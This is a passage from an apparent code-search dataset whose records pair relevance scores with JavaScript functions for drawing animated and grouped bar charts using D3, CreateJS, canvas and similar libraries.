margin.left+60)\n .attr(\"x\",0 - (height / 2))\n .attr(\"dy\", \"1em\")\n .style(\"text-anchor\", \"middle\")\n .text(yLabel);\nfunction type(d) {\n d.y_data = +d.y_data; // coerce to y_data\n return d;\n}\n\n//For Wraping Text in x axis . This part is totally taken from here>> bl.ocks.org/mbostock/7555321 . no idea whats going on! <PERSIA> \nfunction wrap(text, width) {\n text.each(function() {\n var text = d3.select(this),\n\t//y = text.attr(\"y\"),\n //dy = parseFloat(text.attr(\"dy\")),\n \t//tspan = text.text(null).append(\"tspan\").attr(\"x\", 0).attr(\"y\", y).attr(\"dy\", dy + \"em\");\n \t//y = text.attr(\"y\"),\n /* words = text.text().split(/\\s+/).reverse(),\n word,\n line = [],\n lineNumber = 0,\n lineHeight = 1, // ems\n y = text.attr(\"y\"),\n dy = parseFloat(text.attr(\"dy\")),\n tspan = text.text(null).append(\"tspan\").attr(\"x\", 0).attr(\"y\", y).attr(\"dy\", dy + \"em\");\n while (word = words.pop()) {\n line.push(word);\n tspan.text(line.join(\" \"));\n if (tspan.node().getComputedTextLength() > width) {\n line.pop();\n tspan.text(line.join(\" \"));\n line = [word];\n\n tspan = text.append(\"tspan\").attr(\"x\", 0-20).attr(\"y\", y-10).attr(\"dy\", ++lineNumber * lineHeight + dy + \"em\").text(word);\n\t\n }\n\n }*/\ntspan = text.append(\"tspan\").attr(\"x\", 40).attr(\"y\", y).text(text.text());\n\t\n });\n}\n\n}", "title": "" }, { "docid": "91902b8a114ad0a43f7eb2523af35014", "score": "0.6525671", "text": "function redCovenantLvls() {\n var covenantLvlsChart = createGraphics.newChart()\n .setChartType(Charts.ChartType.BAR)\n .setOption('title', 'Covenant Levels')\n .setOption('colors', ['#f4cccc'])\n .addRange(redData.getRange(\"O24:R25\"))\n .setTransposeRowsAndColumns(true)\n .setOption('backgroundColor', '#00000000')\n .setPosition(37, 13, 0, 0)\n .build();\n createGraphics.insertChart(covenantLvlsChart);\n}", "title": "" }, { "docid": "a04135ea6cd557a9df0a72d540bf1ca5", "score": "0.65243393", "text": "function groupedBarGraph() {\n\n // [\"#399283\", \"#4aeeb6\", \"#0e503e\", \"#8ae1f9\", \"#4443b4\", \"#dfcfe7\", \"#a50fa9\", \"#b687f8\", \"#4b425e\", \"#ef66f0\"]\n\n // Properties for SVG\n var margin = {top: 25, right: 25, bottom: 75, left: 100};\n var width = 1500 - margin.left - margin.right;\n var height = 650 - margin.top - margin.bottom; \n\n // Ensure the bars scale relatively to dataset\n var x0 = v3.scale.ordinal().rangeRoundBands([0, width], .1);\n var x1 = v3.scale.ordinal();\n var y = v3.scale.linear().range([height, margin.top]);\n\n // Setup x-axis\n var xAxis = v3.svg.axis()\n .scale(x0)\n .tickSize(0)\n .orient(\"bottom\");\n // Setup y-axis\n var yAxis = v3.svg.axis()\n .scale(y)\n .orient(\"left\");\n \n // Colour scheme: https://coolors.co/d9ed92-b5e48c-99d98c-76c893-52b69a-34a0a4-168aad-1a759f-1e6091-184e77\n var color = v3.scale.ordinal().range([\"#b5e48c\", \"#99d98c\", \"#76c893\"]);\n \n // Setup main SVG board\n var svg = v3.select('#overview-vis')\n .append(\"svg\")\n .attr(\"width\", width + margin.left + margin.right)\n .attr(\"height\", height + margin.top + margin.bottom)\n .style(\"border\", \"2.5px solid #e3e3e3\")\n .append(\"g\")\n .attr(\"transform\", \"translate(\" + margin.left + \",\" + margin.top + \")\");\n\n v3.json(\"dataset/waste.json\", function(error, data) {\n\n if (error) throw error;\n\n // Store waste material categories and year periods\n var wasteCategory = data.map(function(d) { return d.Category; });\n var yearCategory = data[0].Values.map(function(d) { return d.year; });\n\n // Initialise domain for x and y axis\n x0.domain(wasteCategory);\n x1.domain(yearCategory).rangeRoundBands([0, x0.rangeBand()]);\n y.domain([0, v3.max(data, function(Category) {\n return v3.max(Category.Values, function(d) {\n return d.value; });\n })\n ]);\n\n // Initialise x-axis\n svg.append(\"g\")\n .attr(\"class\", \"x axis\")\n .attr(\"transform\", \"translate(0,\" + height + \")\")\n .call(xAxis)\n .selectAll(\"text\")\n .style(\"font-size\", \"15\")\n .style(\"text-anchor\", \"end\")\n .attr(\"dx\", \"1em\")\n .attr(\"dy\", \"1.5em\")\n .attr(\"transform\", \"rotate(-17.5)\");\n\n // Initialise y-axis\n svg.append(\"g\")\n .attr(\"class\", \"y axis\")\n .style('opacity','0')\n .call(yAxis)\n .append(\"text\")\n .attr(\"id\", \"label\")\n .style(\"font-size\", \"17.5\")\n .attr(\"dx\", \"-1.5em\")\n .attr(\"dy\", \".5em\")\n .style(\"text-anchor\", \"middle\")\n .style(\"font-weight\", \"bold\")\n .text(\"Amount (in kg)\");\n\n // Transition effect for loading y-axis\n svg.select('.y.axis')\n .transition()\n .duration(500)\n .delay(1300)\n .style(\"opacity\", \"1\");\n\n // Setup grouped bar chart\n var chart = svg.selectAll(\".chart\")\n .data(data)\n .enter()\n .append(\"g\")\n .attr(\"class\", \"g\")\n .attr(\"transform\", function(d) {\n return \"translate(\" + x0(d.Category) + \",0)\";\n });\n \n // Setup tooltip\n var tooltip = v3.select(\"#overview-vis\")\n .append(\"div\")\n .style(\"position\", \"absolute\")\n .style(\"visibility\", \"hidden\")\n .style(\"background-color\", \"rgba(255, 255, 255, 0.9)\")\n .style(\"border\", \"1px solid #d3d3d3\")\n .style(\"box-shadow\", \"0px 1.5px #d3d3d3\")\n .style(\"border-radius\", \"5px\")\n .style(\"padding\", \"10px\");\n \n // Initialise chart bars with data\n chart.selectAll(\"rect\")\n .data(function(d) { return d.Values; })\n .enter()\n .append(\"rect\")\n .attr(\"width\", x1.rangeBand())\n .attr(\"x\", function(d) { return x1(d.year); })\n .style(\"fill\", function(d) { return color(d.year) })\n .attr(\"y\", function(d) { return y(0); })\n .attr(\"height\", function(d) { return height - y(0); })\n .on(\"mouseover\", function(d) {\n v3.select(this).style(\"fill\", v3.rgb(color(d.year)).darker(1)); // Darken the area hovered\n })\n .on(\"mousemove\", function(d) {\n var year = d.year;\n var value = \"Value: \" + d.value.toLocaleString();\n\n // Return tooltip with information when a bar is hovered\n tooltip.style(\"visibility\", \"visible\")\n .html(\"<b>\" + year + \"</b><br>\" + value)\n .style(\"top\", (v3.event.pageY - 10) + \"px\")\n .style(\"left\", (v3.event.pageX + 20) + \"px\");\n })\n .on(\"mouseout\", function(d) {\n v3.select(this).style(\"fill\", color(d.year));\n tooltip.style(\"visibility\", \"hidden\");\n });\n \n // Transition effect for loading the bars\n chart.selectAll(\"rect\")\n .transition()\n .delay(function (d) {return Math.random()*1000;})\n .duration(1000)\n .attr(\"y\", function(d) { return y(d.value); })\n .attr(\"height\", function(d) { return height - y(d.value); });\n\n // Initialise legend\n var legend = svg.selectAll(\".legend\")\n .data(data[0].Values.map(function(d) { return d.year; }).reverse())\n .enter()\n .append(\"g\")\n .attr(\"class\", \"legend\")\n .attr(\"transform\", function(d, i) { return \"translate(0,\" + i * 22 + \")\"; })\n .style(\"opacity\",\"0\");\n\n // Legend colours\n legend.append(\"rect\")\n .attr(\"x\", width - 20)\n .attr(\"width\", 20)\n .attr(\"height\", 20)\n .style(\"fill\", function(d) { return color(d); });\n\n // Legend labels\n legend.append(\"text\")\n .attr(\"x\", width - 28)\n .attr(\"y\", 9)\n .attr(\"dy\", \".35em\")\n .style(\"font-weight\", \"bold\")\n .style(\"text-anchor\", \"end\")\n .text(function(d) {return d;});\n\n // Transition effect for loading legend\n legend.transition()\n .duration(500)\n .delay(function(d, i){\n return 1300 + 100 * i;\n })\n .style(\"opacity\", \"1\");\n\n // Scale factor and relevant variables\n var scale = [1, 2, 4, 8, 16];\n var scaleIndex = 0;\n var labelY = 0.5;\n var offset = 3;\n\n var total = v3.max(data, function(Category) {\n return v3.max(Category.Values, function(d) {\n return d.value; });\n });\n \n // Scale the bars when zoom in button is clicked\n v3.select(\"#zoom-in\").on(\"click\", function() {\n if (scaleIndex != scale.length - 1) {\n scaleIndex++;\n labelY -= offset;\n y.domain([0, total / scale[scaleIndex]]);\n }\n \n // Update y-axis after scaling\n svg.select(\".y.axis\")\n .transition()\n .duration(500)\n .call(yAxis)\n .select(\"#label\")\n .attr(\"dy\", labelY + \"em\");\n\n // Increase bar heights\n chart.selectAll(\"rect\")\n .transition()\n .duration(500)\n .attr(\"y\", function(d) { return y(d.value); })\n .attr(\"height\", function(d) { return height - y(d.value); }); \n });\n\n // Scale the bars when zoom out button is clicked\n v3.select(\"#zoom-out\").on(\"click\", function() {\n if (scaleIndex != 0) {\n scaleIndex--;\n labelY += offset;\n y.domain([0, total / scale[scaleIndex]]);\n }\n \n // Update y-axis after scaling\n svg.select(\".y.axis\")\n .transition()\n .duration(500)\n .call(yAxis)\n .select(\"#label\")\n .attr(\"dy\", labelY + \"em\");\n\n // Decrease bar heights\n chart.selectAll(\"rect\")\n .transition()\n .duration(500)\n .attr(\"y\", function(d) { return y(d.value); })\n .attr(\"height\", function(d) { return height - y(d.value); }); \n });\n })\n}", "title": "" }, { "docid": "89d840b5cf2298453e5d1f776c472d1a", "score": "0.6506359", "text": "function BarGraph(vizContainer, x, y) {\n\n\t// Private properties and methods\n\n\tvar that = this;\n\tvar startArr;\n\tvar endArr;\n\tvar looping = false;\n\n\t// Loop method adjusts the height of bar and redraws if neccessary\n\tvar loop = function () {\n\n\t\tvar delta;\n\t\tvar animationComplete = true;\n\n\t\t// Boolean to prevent update function from looping if already looping\n\t\tlooping = true;\n\n\t\t// For each bar\n\t\tfor (var i = 0; i < endArr.length; i += 1) {\n\t\t\t// Change the current bar height toward its target height\n\t\t\tdelta = (endArr[i] - startArr[i]) / that.animationSteps;\n\t\t\tthat.curArr[i] += delta;\n\t\t\t// If any change is made then flip a switch\n\t\t\tif (delta) {\n\t\t\t\tanimationComplete = false;\n\t\t\t}\n\t\t}\n\t\t// If no change was made to any bars then we are done\n\t\tif (animationComplete) {\n\t\t\tlooping = false;\n\t\t} else {\n\t\t\t// Draw and call loop again\n\t\t\tdraw(that.curArr);\n\t\t\tsetTimeout(loop, that.animationInterval / that.animationSteps);\n\t\t}\n\t};\n\n\t// Draw method updates the canvas with the current display\n\tvar draw = function (arr) {\n\n\t\tvar numOfBars = arr.length;\n\t\tvar barWidth;\n\t\tvar barHeight;\n\t\tvar border = 2;\n\t\tvar ratio;\n\t\tvar maxBarHeight;\n\t\tvar gradient;\n\t\tvar largestValue;\n\t\tvar graphAreaX = 0;\n\t\tvar graphAreaY = 0;\n\t\tvar graphAreaWidth = that.width;\n\t\tvar graphAreaHeight = that.height;\n\t\tvar i;\n\n\t\t// Update the dimensions of the canvas only if they have changed\n\t\t/*if (vizContainer.getBounds().width/3 !== that.width || vizContainer.getBounds().height/3 !== that.height) {\n\t\t\tthat.width = vizContainer.getBounds().width/3;\n\t\t\tthat.height = vizContainer.getBounds().height/3;\n\t\t}*/\n\n\t\t// Draw the background color\n\t\tvar bkg = new createjs.Shape();\n\t\tbkg.graphics.beginFill(that.backgroundColor).drawRect(0, 0, that.width*that.ratio, that.height*that.ratio);\n\t\tbkg.setTransform(that.x, that.y);\n\t\tvizContainer.addChild(bkg);\n\n\t\t// If x axis labels exist then make room\t\n\t\tif (that.xAxisLabelArr.length) {\n\t\t\tgraphAreaHeight -= 40;\n\t\t}\n\n\t\t// Calculate dimensions of the bar\n\t\tbarWidth = graphAreaWidth / numOfBars - that.margin * 2;\n\t\tmaxBarHeight = graphAreaHeight - 25;\n\n\t\t// Determine the largest value in the bar array\n\t\tvar largestValue = 0;\n\t\tfor (i = 0; i < arr.length; i += 1) {\n\t\t\tif (arr[i] > largestValue) {\n\t\t\t\tlargestValue = arr[i];\t\n\t\t\t}\n\t\t}\n\n\t\t// For each bar\n\t\tfor (i = 0; i < arr.length; i += 1) {\n\t\t\t// Set the ratio of current bar compared to the maximum\n\t\t\tif (that.maxValue) {\n\t\t\t\tratio = arr[i] / that.maxValue;\n\t\t\t} else {\n\t\t\t\tratio = arr[i] / largestValue;\n\t\t\t}\n\n\t\t\tbarHeight = ratio * maxBarHeight;\n\n\t\t\t// Draw bar background\n\t\t\tvar bg = new createjs.Shape();\n\t\t\t// Turn on shadow\n\t\t\tbg.shadow = new createjs.Shadow(\"#999\", 2, 2, 2);\n\t\t\tbg.name = \"bar-\" + i;\n\t\t\tbg.graphics.beginFill(\"#222\").drawRect(\n\t\t\t\tthat.x + (that.margin + i * that.width / numOfBars)*that.ratio,\n\t\t\t\tthat.y + (graphAreaHeight - barHeight)*that.ratio,\n\t\t\t\tbarWidth*that.ratio,\n\t\t\t\tbarHeight*that.ratio);\n\n\t\t\t// Turn off shadow\n\t\t\tbg.shadow = new createjs.Shadow(\"#999\", 0, 0, 0);\n\t\t\t\n\t\t\t// Draw bar color if it is large enough to be visible\n\t\t\tif (barHeight > border * 2) {\n\t\t\t\t// Create gradient\n\t\t\t\tbg.graphics.beginLinearGradientFill([that.colors[i % that.colors.length], \"#ffffff\"],\n\t\t\t\t\t[1, 1-ratio], 0, 0, 0, (graphAreaHeight+that.y)*that.ratio);\n\t\t\t\t// Fill rectangle with gradient\n\t\t\t\tbg.graphics.drawRect(that.x + (that.margin + i * that.width / numOfBars + border)*that.ratio,\n\t\t\t\t\tthat.y + (graphAreaHeight - barHeight + border)*that.ratio,\n\t\t\t\t\t(barWidth - border * 2)*that.ratio,\n\t\t\t\t\t(barHeight - border * 2)*that.ratio);\n\t\t\t}\n\t\t\t\n\t\t\t// Write bar value\n\t\t\tvar font = 20 * that.ratio;\n\t\t\tvar text = new createjs.Text(parseInt(arr[i], 10), \"bold \" + font + \"px sans-serif\", \"#333\");\n\t\t\ttext.textBaseline = \"alphabetic\";\n\t\t\ttext.textAlign = \"center\";\n\t\t\t// Use try / catch to stop IE 8 from going to error town\n\t\t\ttry {\n\t\t\t\ttext.x = that.x + (i * that.width / numOfBars + (that.width / numOfBars) / 2)*that.ratio;\n\t\t\t\ttext.y = that.y + (graphAreaHeight - barHeight - 10)*that.ratio;\n\t\t\t} catch (ex) {}\n\t\t\t// Draw bar label if it exists\n\t\t\tif (that.xAxisLabelArr[i]) {\t\t\t\t\t\n\t\t\t\t// Use try / catch to stop IE 8 from going to error town\t\t\t\t\n\t\t\t\tvar text = new createjs.Text(that.xAxisLabelArr[i], \"bold \" + font + \"px sans-serif\", \"#fff\");\n\t\t\t\ttext.textBaseline = \"alphabetic\";\n\t\t\t\ttext.textAlign = \"center\";\n\t\t\t\ttry{\n\t\t\t\t\ttext.x = that.x + (i * that.width / numOfBars + (that.width / numOfBars) / 2)*that.ratio;\n\t\t\t\t\ttext.y = that.y + (that.height - 10)*that.ratio;\n\t\t\t\t} catch (ex) {}\n\n\t\t\t\ttext.addEventListener(\"rollover\", function(evt) {\n\t\t\t\t\tevt.target.shadow = new createjs.Shadow(\"#fff\", 0, 0, 10);\n\t\t\t\t});\n\t\t\t\ttext.addEventListener(\"rollout\", function(evt) {\n\t\t\t\t\tevt.target.shadow = new createjs.Shadow(\"#999\", 0, 0, 0);\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tvizContainer.addChild(text);\n\t\t\tvizContainer.addChild(bg);\n\n\t\t\tbg.addEventListener(\"rollover\", function(evt) {\n\t\t\t\tevt.target.shadow = new createjs.Shadow(\"#fff\", 0, 0, 10);\n\t\t\t});\n\t\t\tbg.addEventListener(\"rollout\", function(evt) {\n\t\t\t\tevt.target.shadow = new createjs.Shadow(\"#999\", 0, 0, 0);\n\t\t\t});\n\t\t}\n\t};\n\n\t// Public properties and methods\n\n\tthis.width = 1920/6;//vizContainer.getBounds().width/3;\n\tthis.height = 1080/6;//vizContainer.getBounds().height/3;\n\tthis.x = x;\n\tthis.y = y;\n\tthis.ratio = ratio;\t\n\tthis.maxValue;\n\tthis.margin = 5 * ratio;\n\tthis.colors = [\"purple\", \"red\", \"green\", \"yellow\"];\n\tthis.curArr = [];\n\tthis.backgroundColor = \"black\";\n\tthis.xAxisLabelArr = [];\n\tthis.yAxisLabelArr = [];\n\tthis.animationInterval = 100;\n\tthis.animationSteps = 10;\n\n\t// Update method sets the end bar array and starts the animation\n\tthis.update = function (newArr) {\n\n\t\t// If length of target and current array is different \n\t\tif (that.curArr.length !== newArr.length) {\n\t\t\tthat.curArr = newArr;\n\t\t\tdraw(newArr);\n\t\t} else {\n\t\t\t// Set the starting array to the current array\n\t\t\tstartArr = that.curArr;\n\t\t\t// Set the target array to the new array\n\t\t\tendArr = newArr;\n\t\t\t// Animate from the start array to the end array\n\t\t\tif (!looping) {\t\n\t\t\t\tloop();\n\t\t\t}\n\t\t}\n\t}; \n\n\tthis.getBounds = function() {\n\t\treturn {x: this.x, y: this.y, height: this.height*this.ratio, width: this.width*this.ratio};\n\t}\n}", "title": "" }, { "docid": "65ef982176d2ff5c6198ea72dd7c4f2e", "score": "0.6503034", "text": "__DrawGBars(o){\r\n const\r\n set = o.dataset.extract(x => x.status ? x : null)\r\n , serie = set.extract((item, i) => item.plot ? item.plot.calc(SUM) || .001 : .001)\r\n , ymax = Math.max(1, serie.calc(MAX) * o.roof)\r\n , xpace = o.rects.width / serie.length\r\n , h = o.rects.height\r\n , w = Math.min(xpace / 2, o.barWidth || o.fsize)\r\n ;;\r\n serie.each((n, i) => {\r\n const\r\n rec = set[i]\r\n , color = rec.color ? rec.color : PRISM.array()[i % PRISM.array().length]\r\n , y = Math.max(o.fsize, Math.min(h - h * n / ymax, h))\r\n , x = xpace / 2 + i * xpace\r\n ;;\r\n o.node.app(SVG(\"rect\", \"-avoid-pointer --bar\", { width: w, height: h - y, x: x - w / 2, y: y }, { fill: color }))\r\n })\r\n }", "title": "" }, { "docid": "03cf8edcf4eb6beade56455fb4e0f34a", "score": "0.64888716", "text": "drawBarChart() {\n let barChartWrapper = d3.select(\"#bar_chart_wrapper\");\n barChartWrapper.append(\"svg\")\n .attr(\"id\", \"bar_chart_svg\");\n }", "title": "" }, { "docid": "3e8953679fe9758f04d7b10c71f5ee70", "score": "0.63946176", "text": "__DrawBars(o, set){\r\n const\r\n xmax = o.colls ? o.colls : set.plot.calc(MAX)\r\n , ymax = Math.max(1, set.extract(item => item.plot.length).calc(MAX) * (o.roof||1.01))\r\n , xpace = o.rects.width / xmax\r\n , bar_per_unit = set.extract(item => item.plot.length).calc(MAX)\r\n , h = o.rects.height\r\n , w = Math.min(xpace / 2, o.barWidth || o.fsize)\r\n ;;\r\n set.extract((item, i) => {\r\n if(!item.plot) return;\r\n const\r\n serie = item.plot//.tiny(xmax)\r\n , color = item.color ? item.color : PRISM.array()[i % PRISM.array().length]\r\n ;;\r\n serie.each((n, j) => {\r\n n = n ? n : .001;\r\n const\r\n x = j * xpace + xpace / bar_per_unit * i + w\r\n , y = Math.max(o.fsize, Math.min(h - h * n / ymax, h))\r\n ;;\r\n o.node.app(SVG(\"rect\", \"-avoid-pointer\", { width: w, height: h - y, x: x - w / 2, y: y }, { fill: color }))\r\n })\r\n })\r\n }", "title": "" }, { "docid": "85b3a5db59bbc14818ce1a7df7f3f75e", "score": "0.639305", "text": "__DrawSBars(o){\r\n const\r\n set = o.dataset.extract(x => x.status ? x : null)\r\n , serie = set.extract((item, i) => item.serie ? item.serie.extract(x => x.length) : [])\r\n , len = serie.extract((serie, i) => serie.length).calc(MAX)\r\n , xpace = o.rects.width / len\r\n , h = o.rects.height\r\n , w = Math.min(xpace / 2, o.barWidth || o.fsize)\r\n , plot = (new Array(len)).fill(0)\r\n , flat = (new Array(len)).fill(0)\r\n ;;\r\n\r\n serie.each(s => s.each((n, j) => flat[j] += n)) ;;\r\n const ymax = flat.calc(MAX) * o.roof ;;\r\n\r\n serie.each((n, i) => {\r\n const\r\n color = set[i].color ? set[i].color : PRISM.array()[i % PRISM.array().length]\r\n ;;\r\n n.each((e, j) => {\r\n const\r\n x = xpace / 2 + j * xpace\r\n , y = h * (e / ymax + plot[j])\r\n ;;\r\n plot[j] += (e / ymax);\r\n o.node.pre(SVG(\"rect\", \"-avoid-pointer\", { width: w, height: h, x: x - w / 2, y: h - y }, { fill: color }))\r\n })\r\n })\r\n }", "title": "" }, { "docid": "157d745504e2a23303926a983bcac079", "score": "0.63637364", "text": "function callBarChart()\r\n{\r\n\r\nvar newdiv = document.createElement(\"div\");\r\nnewdiv.setAttribute(\"id\",\"Barchart\");\r\n\r\nvar heading = document.createElement(\"h3\");\r\nheading.setAttribute(\"id\",\"Barheading\");\r\n\r\ndocument.body.appendChild(newdiv);\r\ndocument.getElementById(\"Barchart\").appendChild(heading);\r\ndocument.getElementById(\"Barheading\").innerHTML='Bar Chart';\r\n\r\nvar refugeeCount=getTotals();\r\n\r\n\r\nvar canvas1 = d3.select(\"body\").\r\n\t\t\t\t\tappend(\"svg\").\r\n\t\t\t\t\tattr(\"width\",600).\r\n\t\t\t\t\tattr(\"height\",500).\r\n\t\t\t\t\tappend(\"g\").\r\n\t\t\t\t\tattr(\"transform\",\"translate(50,40)\");\r\n\r\n\r\nvar xaxisScale1 = d3.scaleLinear()\r\n\t\t\t\t.domain([240000,0])\r\n\t\t\t\t.range([40,400]);\r\n\r\n\r\nvar xaxis1=d3.axisLeft().scale(xaxisScale1);\r\n\r\nvar yaxisScale1 = d3.scaleLinear()\r\n\t\t\t\t.domain([1974,2016])\r\n\t\t\t\t.range([0,516]);\r\n\r\nvar yaxis1=d3.axisBottom().scale(yaxisScale1);\r\n\r\n\r\nvar heightscale1 = d3.scaleLinear()\r\n \t\t\t.domain([0,240000])\r\n \t\t\t.range([0,360]);\r\n\r\nvar widthScale = d3.scaleLinear()\r\n \t\t\t.domain([0,240000])\r\n \t\t\t.range([0,360]);\r\n\r\nvar rectangle1=canvas1.selectAll(\"rect\")\r\n\t\t\t\t\t.data(refugeeCount)\r\n\t\t\t\t\t.enter()\r\n\t\t\t\t\t.append(\"rect\")\r\n\t\t\t\t\t\t.attr(\"width\",12)\r\n\t\t\t\t\t\t.attr(\"height\",function(d) {return heightscale1(d);})\r\n\t\t\t\t\t\t//.attr(\"fill\",'red')\r\n\t\t\t\t\t\t.attr(\"y\",function(d,i){return (400-heightscale1(d));})\r\n\t\t\t\t\t\t.attr(\"x\",function(d,i){return (12*i);})\r\n\t\t\t\t\t\t.attr(\"fill\",\"red\")\r\n\t\t\t\t\t\t.attr(\"stroke\",\"white\")\r\n\t\t\t\t\t\t.attr(\"stroke-width\",\"1\")\r\n\t\t\t\t\t\t.attr(\"transform\",\"translate(\"+12+\",0)\");\r\n\r\ncanvas1.append(\"g\")\r\n\t\t.call(xaxis1.ticks(13).tickFormat(d3.formatPrefix(\".0\",1e3)));\r\n\r\ncanvas1.append(\"g\")\r\n\t\t.attr(\"transform\",\"translate(0,400)\")\r\n\t\t.call(yaxis1.ticks(8).tickFormat(d3.format(\"d\")));\r\n\r\n\r\n\t\r\n\r\ncanvas1.append(\"text\")\r\n\t\t.attr(\"x\",\"-150\")\r\n\t\t.attr(\"y\",\"12\")\r\n\t\t.text(\"Number of Refugees\")\r\n\t\t.attr(\"transform\",\"rotate(-90,50,100)\");\r\n\r\n\r\ncanvas1.append(\"text\")\r\n\t\t.attr(\"x\",\"-100\")\r\n\t\t.attr(\"y\",\"12\")\r\n\t\t.text(\"Year\")\r\n\t\t.attr(\"transform\",\"translate(350,425)\");\t\t\r\n\r\n}", "title": "" }, { "docid": "93f47ef18ac6195117a71c1b59becf46", "score": "0.6358502", "text": "function createBars() {\n let len = 12;\n for (let i = 0; i < p5.width / len; i++) {\n p5.fill(\"white\");\n if (i % 2 == 0) p5.rect(i * len, p5.height, len, -p5.height);\n }\n }", "title": "" }, { "docid": "48f1fea145c9a56a73f204df68731b0b", "score": "0.6350068", "text": "drawBars ( ) {\n this.singleBar\n .attr( 'class' , 'bar' )\n .attr( 'y' , this.innerHeight )\n .attr( 'x' , d => this.x( d.date ) )\n .attr( 'height' , 0 )\n .attr( 'width' , this.innerWidth / this.data.length +1 )\n // .attr( 'width' , this.x.bandwidth )\n .attr( 'data-date', d => d.dateString )\n .attr( 'data-gdp' , d => d.value )\n this.handleEvents( );\n return this;\n }", "title": "" }, { "docid": "c32b984914396d30d3a432efae6ebef4", "score": "0.63337386", "text": "function drawBarChartBars(max)\r\n{\r\n\tcanvas1.cx.lineWidth = 1;\r\n\tcanvas1.cx.fillStyle = color.initial;\r\n\tcanvas1.cx.strokeStyle = '#222222';\r\n\tfor ( var i = 0; i < 6; i++ ) {\r\n\t\tif ( mode == \"mole\" ) {\r\n\t\t\tdrawBar(canvas1.graphLeft+canvas1.graphWidth/6*i+7,\r\n\t\t\t\t\tcanvas1.scale*moles[0][i],\r\n\t\t\t\t\tcanvas1.graphWidth/12 - 7);\r\n\t\t}\r\n\t\telse {\r\n\t\t\tdrawBar(canvas1.graphLeft+canvas1.graphWidth/6*i+7,\r\n\t\t\t\t\tcanvas1.scale*moles[0][i]*molarMass[i],\r\n\t\t\t\t\tcanvas1.graphWidth/12 - 7);\r\n\t\t}\r\n\t}\r\n\r\n\tcanvas1.cx.lineWidth = 1;\r\n\tcanvas1.cx.fillStyle = color.end;\r\n\tcanvas1.cx.strokeStyle = '#222222';\r\n\tfor ( var i = 0; i < 6; i++ ) {\r\n\t\tif ( mode == \"mole\" ) {\r\n\t\t\tdrawBar(canvas1.graphLeft+canvas1.graphWidth*(2*i+1)/12,\r\n\t\t\t\t\tcanvas1.scale*moles[2][i],\r\n\t\t\t\t\tcanvas1.graphWidth/12 - 7);\r\n\t\t}\r\n\t\telse {\r\n\t\t\tdrawBar(canvas1.graphLeft+canvas1.graphWidth*(2*i+1)/12,\r\n\t\t\t\tcanvas1.scale*moles[2][i]*molarMass[i],\r\n\t\t\t\tcanvas1.graphWidth/12 - 7);\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "562e3325bf1dd754759e55ea5d4e94ab", "score": "0.630731", "text": "function BarGraph(ctx) {\n\n // Private properties and methods\n\n var that = this;\n var startArr;\n var endArr;\n var looping = false;\n\n // Loop method adjusts the height of bar and redraws if neccessary\n var loop = function () {\n\n var delta;\n var animationComplete = true;\n\n // Boolean to prevent update function from looping if already looping\n looping = true;\n\n // For each bar\n for (var i = 0; i < endArr.length; i += 1) {\n // Change the current bar height toward its target height\n delta = (endArr[i] - startArr[i]) / that.animationSteps;\n that.curArr[i] += delta;\n // If any change is made then flip a switch\n if (delta) {\n animationComplete = false;\n }\n }\n // If no change was made to any bars then we are done\n if (animationComplete) {\n looping = false;\n } else {\n // Draw and call loop again\n draw(that.curArr);\n setTimeout(loop, that.animationInterval / that.animationSteps);\n }\n };\n\n // Draw method updates the canvas with the current display\n var draw = function (arr) {\n\n var numOfBars = arr.length;\n var barWidth;\n var barHeight;\n var border = 2;\n var ratio;\n var maxBarHeight;\n var gradient;\n var largestValue;\n var graphAreaX = 0;\n var graphAreaY = 0;\n var graphAreaWidth = that.width;\n var graphAreaHeight = that.height;\n var i;\n\n // Update the dimensions of the canvas only if they have changed\n if (ctx.canvas.width !== that.width || ctx.canvas.height !== that.height) {\n ctx.canvas.width = that.width;\n ctx.canvas.height = that.height;\n }\n\n // Draw the background color\n ctx.fillStyle = that.backgroundColor;\n ctx.fillRect(0, 0, that.width, that.height);\n\n // If x axis labels exist then make room\t\n if (that.xAxisLabelArr.length) {\n graphAreaHeight -= 40;\n }\n\n // Calculate dimensions of the bar\n barWidth = graphAreaWidth / numOfBars - that.margin * 2;\n maxBarHeight = graphAreaHeight - 25;\n\n // Determine the largest value in the bar array\n var largestValue = 0;\n for (i = 0; i < arr.length; i += 1) {\n if (arr[i] > largestValue) {\n largestValue = arr[i];\n }\n }\n\n // For each bar\n for (i = 0; i < arr.length; i += 1) {\n // Set the ratio of current bar compared to the maximum\n if (that.maxValue) {\n ratio = arr[i] / that.maxValue;\n } else {\n ratio = arr[i] / largestValue;\n }\n\n barHeight = ratio * maxBarHeight;\n\n // Turn on shadow\n ctx.shadowOffsetX = 2;\n ctx.shadowOffsetY = 2;\n ctx.shadowBlur = 2;\n ctx.shadowColor = \"#999\";\n\n // Draw bar background\n ctx.fillStyle = \"#333\";\n ctx.fillRect(that.margin + i * that.width / numOfBars,\n graphAreaHeight - barHeight,\n barWidth,\n barHeight);\n\n // Turn off shadow\n ctx.shadowOffsetX = 0;\n ctx.shadowOffsetY = 0;\n ctx.shadowBlur = 0;\n\n // Draw bar color if it is large enough to be visible\n if (barHeight > border * 2) {\n // Create gradient\n gradient = ctx.createLinearGradient(0, 0, 0, graphAreaHeight);\n gradient.addColorStop(1 - ratio, that.colors[i % that.colors.length]);\n gradient.addColorStop(1, \"#ffffff\");\n\n ctx.fillStyle = gradient;\n // Fill rectangle with gradient\n ctx.fillRect(that.margin + i * that.width / numOfBars + border,\n graphAreaHeight - barHeight + border,\n barWidth - border * 2,\n barHeight - border * 2);\n }\n\n // Write bar value\n ctx.fillStyle = \"#333\";\n ctx.font = \"bold 12px sans-serif\";\n ctx.textAlign = \"center\";\n // Use try / catch to stop IE 8 from going to error town\n try {\n ctx.fillText(parseInt(arr[i], 10),\n i * that.width / numOfBars + (that.width / numOfBars) / 2,\n graphAreaHeight - barHeight - 10);\n } catch (ex) { }\n // Draw bar label if it exists\n if (that.xAxisLabelArr[i]) {\n // Use try / catch to stop IE 8 from going to error town\t\t\t\t\n ctx.fillStyle = \"#333\";\n ctx.font = \"bold 12px sans-serif\";\n ctx.textAlign = \"center\";\n try {\n ctx.fillText(that.xAxisLabelArr[i],\n i * that.width / numOfBars + (that.width / numOfBars) / 2,\n that.height - 10);\n } catch (ex) { }\n }\n }\n };\n\n // Public properties and methods\n\n this.width = 300;\n this.height = 150;\n this.maxValue;\n this.margin = 5;\n this.colors = [\"purple\", \"red\", \"green\", \"yellow\"];\n this.curArr = [];\n this.backgroundColor = \"#fff\";\n 